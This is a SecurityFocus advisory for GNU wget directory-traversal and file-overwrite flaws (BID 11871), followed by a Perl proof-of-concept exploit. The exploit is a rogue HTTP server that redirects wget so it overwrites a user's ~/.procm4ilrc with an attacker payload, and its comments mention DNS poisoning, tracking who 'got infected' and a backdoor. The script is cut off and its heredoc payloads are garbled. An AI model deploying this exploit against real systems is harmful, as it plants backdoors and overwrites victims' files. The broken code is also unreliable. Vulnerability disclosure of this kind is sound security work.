source: https://www.securityfocus.com/bid/11871/info Multiple remote vulnerabilities reportedly affect GNU wget. These issues are due to the application's failure to properly sanitize user-supplied input and to properly validate the presence of files before writing to them. The issues include: - a potential directory-traversal issue - an arbitrary file-overwriting vulnerability - a weakness caused by the application's failure to filter potentially malicious characters from server-supplied input. Via a malicious server, an attacker may exploit these issues to arbitrarily overwrite files within the current directory and potentially outside of it. This may let the attacker corrupt files, cause a denial of service, and possibly launch further attacks against the affected computer. Overwriting of files would take place with the privileges of the user that activates the vulnerable application. -- )^o-o^| jabber: rdancer@NJS.NetLab.Cz | .v K e-mail: jjminar FastMail FM ` - .' phone: +44(0)7981 738 696 \ __/Jan icq: 345 355 493 __|o|__Min?? irc: rdancer@IRC.FreeNode.Net #!/usr/bin/perl -W # wgettrap.poc -- A POC for the wget(1) directory traversal vulnerability # # Copyright 2004 Jan Min???? (jjminar fastmail fm) # License: Public Domain # # When wget connects to us, we send it a HTTP redirect constructed so that wget # wget will connect the second time, it will be attempting to override # ~/.procm4ilrc (well, provided that the user running wget has username 'jan' # 8-)). use POSIX qw(strftime); # This is our scheme/host/port $server = "http://localhost:31340"; # Use this + DNS poisoning with wget 1.9 & CVS #$server = "http://.."; # Wanna know who got infected? #$log = "/dev/pts/1"; # The filename we will try to overwrite on the target system $filename = "/home/jan/.procm4ilrc%00This%20part%20will%20be%20ignored."; ############### Payload ######################################### $email = 'your@mailbox'; $password = 'Pmrpuf ner cevzvgvirf'; $payload = <$log" if $log; while(){ print LOG $_ if $log; if (/\Q$trick$filename\E/) { #if (/%2f/) { # We see the filename, so this is the second time # they're here. Time to feed the sploit. $second++; } elsif (/^Range: bytes=$33$-/) { # Appending goes like this: # (1) Tell'em what you're gonna tell'em # (2) Then tell'em just a half # (3) Close it # (4) Wait # (5) They're comin' back, with wget -c # (6) Tell'em the sploit # (7) Close again # (8) Wtf? They're comin' back with wget -c again # (9) Tell'em the rest... # (10) ... enjoying the backdoor at the same time print LOG "File if $1 bytes long\n" if $log; } elsif (/^\r?$/) { # The HTTP headers are over. Let's do it! $date = strftime ("%a, %e %b %Y %H:%M:%S %z", localtime); if (!$second) { # Print the payload print <\r EOT } else { # Print the redirection print <